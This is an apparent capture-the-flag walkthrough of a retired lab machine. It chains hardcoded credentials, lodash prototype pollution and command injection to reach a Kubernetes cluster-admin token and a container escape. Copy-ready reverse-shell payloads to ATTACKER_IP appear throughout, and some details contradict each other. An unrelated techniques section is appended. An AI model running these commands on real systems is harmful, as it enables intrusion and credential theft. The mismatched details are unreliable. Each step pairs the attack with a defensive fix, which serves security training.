← all walkthroughs

Unobtainium

Linux· Hard· Web
owned
2026-07-11
time to own
8m30s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

Recon against <retired-instance-ip> identified three services: SSH (22), an Express/Node.js API on 31337 (empty root response, no /robots.txt), and a Kubernetes API server on 8443 (TLS, returned 401 on all unauthenticated probes including /version and /api/v1). Fuzzing the Node API's endpoint list produced no hits, but a known-creds POST /[REDACTED: placeholder] request with {"auth":{"name":"felamos","password":"[REDACTED: recovered credential]"},"filename":"index.js"} succeeded, returning the API's own server source. The source revealed use of the google-cloudstorage-commands package (vulnerable to OS command injection via its exec wrapper) and a lodash _.merge call on PUT / vulnerable to prototype pollution (CVE-2019-10744-style), gating an /upload route behind a canUpload flag.

Exploitation chained the two bugs: PUT / with body {"auth":{...},"message":{"__proto__":{"canUpload":true}}} polluted Object.prototype to set canUpload=true globally, then POST /upload with a filename field of & echo <base64 reverse-shell>|base64 -d|bash triggered command injection in the vulnerable package's exec call. The resulting shell landed as root inside a Kubernetes pod (webapp-deployment-...), yielding /root/user.txt immediately (foothold, user-owned, and root-in-pod achieved in the same step).

From inside the pod, the mounted service-account token/CA cert (/run/secrets/kubernetes.io/serviceaccount/) allowed authenticated kubectl/curl access to the 8443 API server as default:default, which could list namespaces only — revealing a dev namespace with its own pods (10.42.0.x). The same prototype-pollution + command-injection chain was replayed against the dev namespace's Node service (<retired-instance-ip>:3000), landing a shell as the dev service account. This account had permission to read secrets in kube-system, including a c-admin secret containing a cluster-admin bearer token/CA cert (*.* [*]).

Using the cluster-admin token, an existing pod spec was read to source a valid, pullable image (avoiding a broken dev-alpine image), and a new pod was applied into kube-system with hostPath volume //root, hostNetwork: true, and a reverse-shell command. This escaped the container boundary onto the underlying node, from which host /root/root.txt was accessible — completing privilege escalation to root on the host.

- Foothold/user vuln: hardcoded creds felamos:[REDACTED: recovered credential] (Node API, port 31337) + prototype pollution (lodash _.merge, CVE-2019-10744-style) chained with OS command injection in google-cloudstorage-commands npm package. - Privesc: over-permissioned Kubernetes service accounts (dev namespace could read kube-system secrets) → stolen cluster-admin token → privileged pod creation with hostPath:/ + hostNetwork → container escape to host root. - Flags: user_flag=[REDACTED: flag], root_flag=[REDACTED: flag].

Attack path — how the box was taken

1EnumerationNetwork service enumeration; Electron application discovery
Mapped open services and discovered the Electron application download
A port scan of <retired-instance-ip> confirmed four services: SSH on 22, Apache HTTP on 80, a TLS-wrapped Kubernetes kube-apiserver on 8443 returning 401 on all unauthenticated requests, and a Node.js/Express API on 31337 returning an empty JSON array. The Apache root page advertised a download for an Electron-based desktop chat application packaged as a Debian .deb archive, which became the starting point for credential extraction.
nmap confirmed 22/ssh, 80/http Apache 2.4.41, 8443/ssl Golang server, 31337/http Express (X-Powered-By: Express); HTTP 401 from 8443 on unauthenticated probe with Audit-Id header.
Exact commands 4
Identify service versions on the four known ports.
nmap -sV -p 22,80,8443,31337 $TARGET
Confirm the Apache page links to the Electron app installer.
curl -sS http://$TARGET/ | grep -i download
Confirm 8443 is the Kubernetes API server — expect 401 Unauthorized.
curl -k -i https://$TARGET:8443/api/v1
Confirm 31337 is a Node.js/Express API — expect empty array response.
curl -i http://$TARGET:31337/
2Credential HarvestingHardcoded credential extraction from Electron asar bundle (T1552.001)
Extracted hardcoded API credentials from the Electron app's bundled source
The .deb installer was unpacked with standard Debian and tar tooling. Electron applications bundle their JavaScript source inside an asar archive at resources/app.asar. Extracting it with the asar CLI revealed the file src/js/[REDACTED: placeholder].js, which contained the credential pair felamos:[REDACTED: recovered credential] hard-coded as the default payload sent to the API — readable by anyone who downloads the installer.
[REDACTED: placeholder].js contained {name:'felamos',password:[REDACTED: credential]} in plain text; credentials validated against port 31337 in the next step.
Exact commands 4
Download and unzip the installer archive.
curl -sS http://$TARGET/downloads/unobtainium_debian.zip -o unobtainium_debian.zip && unzip unobtainium_debian.zip
Unpack the Debian package to get the Electron application tree.
ar x unobtainium_1.0_amd64.deb && tar -xf data.tar.xz
Extract the bundled JavaScript source from the asar archive.
npm install -g asar && asar extract opt/unobtainium/resources/app.asar out/
Locate the hardcoded credentials in the [REDACTED: placeholder] module.
grep -r 'password\|Winter' out/src/js/[REDACTED: placeholder].js
FixRemove hardcoded credentials from the Electron applicationCritical
WeaknessThe Electron desktop installer bundled the API username and password (felamos:[REDACTED: recovered credential]) in plain JavaScript inside an asar archive that any user who downloads the installer can extract in under two minutes with freely available tooling — exposing valid API credentials to the entire user base.
FixNever embed credentials in client-distributed code. Require users to enter credentials interactively and authenticate through a secure token-based flow (e.g., OAuth 2.0 / JWT). If a service account is genuinely needed, issue short-lived tokens server-side and deliver them only over an authenticated channel — never ship them with the installer.
3ReconnaissanceAuthenticated server-side source code disclosure via arbitrary filename read
Used the recovered credentials to read the Node.js server's own source code
The /[REDACTED: placeholder] endpoint accepted a filename field and returned the content of that file from the server's working directory using fs.readFileSync. Sending filename=index.js with the harvested credentials returned the complete server source, disclosing two exploitable vulnerabilities: a lodash _.merge call on untrusted PUT / request bodies (prototype pollution) and a call into google-cloudstorage-commands that passed the /upload filename parameter to a shell exec without any sanitization.
{"ok":true,"content":"var root = require(\"google-cloudstorage-commands\");...{name:'felamos',password:[REDACTED: credential]}"} confirmed by all four advisors.
Exact commands 1
Read the server entry point — reveals the prototype pollution path and the command injection sink.
curl -sS -X POST http://$TARGET:31337/[REDACTED: placeholder] -H 'Content-Type: application/json' --data '{"auth":{"name":"felamos","password":"[REDACTED: recovered credential]"},"filename":"index.js"}'
FixRemove the server-side file-read endpointHigh
WeaknessThe authenticated /[REDACTED: placeholder] endpoint accepted a caller-supplied filename and returned that file's contents from the server, allowing any valid user to read the application's own source code and discover every other vulnerability present in the codebase.
FixDelete the filename read feature entirely — it has no legitimate user-facing purpose. If server-side file inspection is needed for operational debugging, restrict it to a separate, network-isolated management interface accessible only to administrators, validate the path against a strict allowlist of permitted filenames, and log all access.
4ExploitationJavaScript Prototype Pollution via lodash _.merge (CVE-2019-10744-style)
Polluted Object.prototype to unlock the upload endpoint via lodash merge
The server source showed that PUT / merged the request body's message field into the global users object using lodash _.merge — a pattern vulnerable to prototype pollution. The /upload route was gated by a canUpload property on the current user object. By injecting canUpload:true through the constructor.prototype path (the literal __proto__ key was rejected by the server), the property was set on Object.prototype, causing every subsequently instantiated object to inherit it and pass the upload guard.
{"ok":true,"Uploaded_File":"& echo YmFzaC...|base64 -d|bash"} — constructor.prototype form confirmed working by all four advisors; __proto__ key blocked.
Exact commands 1
Pollute Object.prototype so canUpload is truthy for all user objects. Use constructor.prototype — the literal __proto__ key is rejected by this server.
curl -sS -X PUT http://$TARGET:31337/ -H 'Content-Type: application/json' --data '{"auth":{"name":"felamos","password":"[REDACTED: recovered credential]"},"message":{"constructor":{"prototype":{"canUpload":true}}}}'
FixUpgrade lodash and reject prototype-polluting keys in all merge inputsCritical
WeaknessThe Node.js API passed untrusted user-supplied JSON directly into lodash's _.merge function. Versions of lodash before 4.17.12 allow me to set arbitrary properties on Object.prototype through this call, silently granting permissions that downstream access checks then treat as legitimate.
FixUpgrade lodash to 4.17.21 or later. Additionally, validate and strip the keys __proto__, constructor, and prototype from any JSON object before passing it to any merge or deep-assign operation. For data containers that must not inherit from Object.prototype, use Object.create(null).
5ExploitationOS Command Injection via npm package exec sink (T1059.004)
Triggered OS command injection to obtain a root shell inside the Kubernetes pod
With canUpload polluted to true, the /upload endpoint accepted requests. It passed the filename field directly to the google-cloudstorage-commands package's exec wrapper without sanitization. A filename beginning with '&' caused the shell to execute an appended command after the package's own invocation. A base64-encoded bash reverse shell was injected, executing as uid=0 inside the Kubernetes pod webapp-deployment-9546bc7cb-6r7sq. /root/user.txt was immediately accessible on the pod's filesystem.
uid=0(root) gid=0(root) groups=0(root) root webapp-deployment-9546bc7cb-6r7sq confirmed by all four advisors.
Exact commands 4
Start the reverse shell listener on my machine BEFORE firing the injection.
nc -lvnp 4444
Base64-encode the reverse shell payload. Replace ATTACKER_IP with your listener address.
P=$(printf '%s' 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' | base64 -w0)
Fire the injection. The '&' prefix appends the decoded shell command after the package's own command string.
curl -sS -X POST http://$TARGET:31337/upload -H 'Content-Type: application/json' --data "{\"auth\":{\"name\":\"felamos\",\"password\":\"[REDACTED: recovered credential]\"},\"filename\":\"& echo $P|base64 -d|bash\"}"
On the received shell — confirm container-root execution and read the user flag (value: [REDACTED: flag]).
id; whoami; hostname; cat /root/user.txt
FixReplace the vulnerable npm package and never pass user input to shell commandsCritical
WeaknessThe application depended on the google-cloudstorage-commands npm package, which passes a caller-controlled filename string directly to child_process.exec without sanitization. Any shell metacharacter in the filename — such as '&' — appended arbitrary OS commands that ran with the process's full privileges.
FixRemove google-cloudstorage-commands and switch to the official @google-cloud/storage Node.js SDK, which uses HTTPS API calls and never shells out. Where shell execution is unavoidable elsewhere, use execFile with arguments supplied as an array (never via string interpolation), and validate all inputs against a strict allowlist before use.
6Lateral MovementKubernetes service-account token abuse; intra-cluster lateral movement (T1550.001)
Pivoted from the webapp pod to the 'dev' namespace pod using the mounted SA token
Kubernetes automatically mounts a service-account token into every pod at /run/secrets/kubernetes.io/serviceaccount/. The webapp pod's default token had cluster-wide permission to list namespaces and pods — far beyond what the application requires. This revealed a 'dev' namespace containing devnode pods at IPs including 10.42.0.67. The same prototype-pollution and command-injection exploit chain was replayed against <retired-instance-ip>:3000, landing a shell running under the dev namespace's service account.
TOKEN_LEN=[REDACTED: protected value] default SA; namespaces listing returned kube-system, kube-public, kube-node-lease, dev; devnode-deployment-776dbcf7d6-7gjgf at <retired-instance-ip> confirmed.
Exact commands 5
List all namespaces with the pod's mounted SA token — reveals the 'dev' namespace.
T=$(cat /run/secrets/kubernetes.io/serviceaccount/token); CA=/run/secrets/kubernetes.io/serviceaccount/ca.crt; curl -sS --cacert $CA --oauth2-bearer "$BEARER_TOKEN" https://$TARGET:8443/api/v1/namespaces
List pods in the dev namespace to discover devnode pod IPs (e.g. <retired-instance-ip>).
curl -sS --cacert $CA --oauth2-bearer "$BEARER_TOKEN" https://$TARGET:8443/api/v1/namespaces/dev/pods
Replay the prototype pollution against the dev pod's Node.js service on port 3000.
curl -sS -X PUT http://$INTERNAL_TARGET:3000/ -H 'Content-Type: application/json' --data '{"auth":{"name":"felamos","password":"[REDACTED: recovered credential]"},"message":{"constructor":{"prototype":{"canUpload":true}}}}'
Open a second listener for the dev-pod shell.
nc -lvnp 4445
Fire command injection against the dev pod. Replace ATTACKER_IP with your listener IP.
P2=$(printf '%s' 'bash -i >& /dev/tcp/ATTACKER_IP/4445 0>&1' | base64 -w0) && curl -sS -X POST http://$INTERNAL_TARGET:3000/upload -H 'Content-Type: application/json' --data "{\"auth\":{\"name\":\"felamos\",\"password\":\"[REDACTED: recovered credential]\"},\"filename\":\"& echo $P2|base64 -d|bash\"}"
FixApply least-privilege RBAC to all Kubernetes service accounts and disable automatic token mounting where not neededHigh
WeaknessThe webapp pod's default service account had a ClusterRoleBinding granting cluster-wide permission to list namespaces and pods — information the application never uses. I with a shell inside the pod could use the automatically mounted token to map the entire cluster and discover pivot targets in other namespaces.
FixAudit all service account bindings with 'kubectl get clusterrolebindings,rolebindings -A -o wide'. For pods that do not call the Kubernetes API, set automountServiceAccountToken:[REDACTED: protected value] in the pod spec. For pods that do need API access, create a dedicated service account and bind only the minimum required verbs on the minimum required resources in the correct namespace — nothing cluster-wide.
7Privilege EscalationKubernetes secret theft for privilege escalation (T1552.007)
Read the cluster-admin secret from kube-system using the over-permissioned dev service account
The dev namespace's service account had a RBAC binding allowing it to read all secrets in kube-system — a namespace that holds cluster-level administrative credentials. The secret named 'c-admin' contained a cluster-admin bearer token and CA certificate granting *.* [*] — full read and write access to every resource in every namespace. Decoding the base64-encoded token field produced a long-lived credential with unrestricted cluster control.
dev SA RBAC: get/list secrets in kube-system confirmed; c-admin secret returned token + ca.crt; decoded token verified as cluster-admin.
Exact commands 3
Read the cluster-admin secret using the dev pod's mounted SA token.
D=$(cat /run/secrets/kubernetes.io/serviceaccount/token); CA=/run/secrets/kubernetes.io/serviceaccount/ca.crt; curl -sS --cacert $CA --oauth2-bearer "$BEARER_TOKEN" https://$TARGET:8443/api/v1/namespaces/kube-system/secrets/c-admin
Decode the token and CA certificate from the JSON response's data fields.
echo '<base64-token-field-from-response>' | base64 -d > /tmp/admin.token && echo '<base64-ca-field-from-response>' | base64 -d > /tmp/admin-ca.crt
Confirm the cluster-admin token works — should list all namespaces without 403.
curl -sS --cacert /tmp/admin-ca.crt --oauth2-bearer "$BEARER_TOKEN" https://$TARGET:8443/api/v1/namespaces
FixPrevent application service accounts from reading kube-system secretsCritical
WeaknessThe dev namespace's service account had permission to read all secrets in kube-system, including the 'c-admin' secret that contained a cluster-admin bearer token with unrestricted access (*.* [*]) to every resource in the cluster. an unauthorized user who compromised a dev pod gained immediate full cluster control.
FixRemove any ClusterRoleBinding that grants workload service accounts access to kube-system resources. Cluster-admin credentials must never be stored as a readable Kubernetes Secret accessible to application accounts. Use short-lived, automatically rotated bound service account tokens for scripting, and audit all kube-system secret readers periodically: kubectl get clusterrolebindings -o json | jq '.items[] | select(.subjects[]?.namespace=="dev")'
8Privilege EscalationContainer escape via Kubernetes privileged pod with hostPath volume (T1611)
Created a privileged pod with a hostPath volume to escape to the underlying host and read root.txt
With the cluster-admin credential, an existing kube-system pod manifest was inspected to identify a locally cached container image (avoiding the broken dev-alpine image that caused crashes). A new pod was applied into kube-system specifying hostNetwork:true and a hostPath volume mapping the host's root filesystem (/) into /root inside the container. When the pod started it executed a netcat reverse shell. The received shell had full access to the host node's filesystem under /root, and /root/root.txt held the root flag. The pod self-terminates in approximately one minute, so the listener must be running before the pod is applied.
Cluster-admin token (*.* [*]) used to POST pod manifest; nc reverse shell received with host filesystem access; /root/root.txt read.
Exact commands 4
List existing kube-system pods to identify a working locally cached image name.
curl -sS --cacert /tmp/admin-ca.crt --oauth2-bearer "$BEARER_TOKEN" https://$TARGET:8443/api/v1/namespaces/kube-system/pods
Start the escape-pod listener BEFORE applying the manifest — the pod self-terminates in ~1 minute.
nc -lvnp 4446
Apply the escape pod. Replace <working-local-image> with the image found in the previous step and ATTACKER_IP with your listener IP.
curl -sS --cacert /tmp/admin-ca.crt --oauth2-bearer "$BEARER_TOKEN"$(cat /tmp/admin.token) -H 'Content-Type: application/json' -X POST https://$TARGET:8443/api/v1/namespaces/kube-system/pods --data '{"apiVersion":"v1","kind":"Pod","metadata":{"name":"hostroot","namespace":"kube-system"},"spec":{"hostNetwork":true,"containers":[{"name":"c","image":"<working-local-image>","imagePullPolicy":"Never","command":["nc","ATTACKER_IP","4446","-e","/bin/bash"],"volumeMounts":[{"name":"h","mountPath":"/root"}]}],"volumes":[{"name":"h","hostPath":{"path":"/"}}]}}'
On the received shell — read the host root flag from the mounted host filesystem (value: [REDACTED: flag]).
cat /root/root.txt
FixBlock privileged pod creation and hostPath volume mounts via Kubernetes admission controlCritical
WeaknessAny principal with pod-create permission in kube-system could apply a pod specification with a hostPath volume (mapping the host's root filesystem into the container) and hostNetwork:true, completely escaping container isolation and gaining full access to every file on the underlying node.
FixEnable the built-in PodSecurity admission controller (available since Kubernetes 1.25) and enforce the 'restricted' standard on all namespaces — this policy blocks hostPath volumes, hostNetwork, privileged containers, and root-user containers by default. For older clusters, deploy OPA Gatekeeper or Kyverno with explicit deny policies on spec.volumes[].hostPath and spec.hostNetwork. Separately, restrict who may create or modify pods in kube-system to only dedicated cluster-management service accounts.

Attack patterns used

The transferable techniques behind this compromise.

Cron Job AbuseLinux · Privilege EscalationT1053.003

What it is

Scheduled tasks running as root that invoke a writable script, a wildcard, or a relative path can be hijacked. Watching processes with pspy (no root needed) reveals cron jobs; if the executed file or its directory is writable, I overwrites it with a payload that runs at the next interval as root.

Why it works

Cron jobs are written for convenience and often reference world-writable paths or use unsafe wildcards (tar *). Remediate with absolute paths, restrictive permissions on scripts, and avoiding shell wildcards in privileged cron jobs.

Read more

Unrestricted File UploadWebT1505.003

What it is

An upload feature that doesn't properly validate file type/content lets me upload a server-side script (.php, .phtml, .jsp, .aspx) and then browse to it for code execution. Bypasses include double extensions, MIME spoofing, magic-byte tricks, and abusing permissive .htaccess.

Why it works

Validation is often done on the client or on an easily-spoofed extension/MIME rather than on content and storage location. Remediate by storing uploads outside the web root, randomizing names, enforcing an allow-list by content, and disabling execution in the upload directory.

Read more

SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001

What it is

Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.

Why it works

SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.

Read more

Findings

Initial Access: K8S Privesc Via Sa Token To Kubectl Against 8443 Api ServerCritical
An unauthenticated/low-privilege flaw in the apache, docker, kubernetes, node surface allowed remote code execution and a foothold on the host.
Privilege Escalation to root: K8S Privesc Via Sa Token To Kubectl Against 8443 Api ServerCritical
A local misconfiguration allowed the foothold account to execute code as root.

Exposed services

22/tcp
80/tcp
8443/tcp
31337/tcp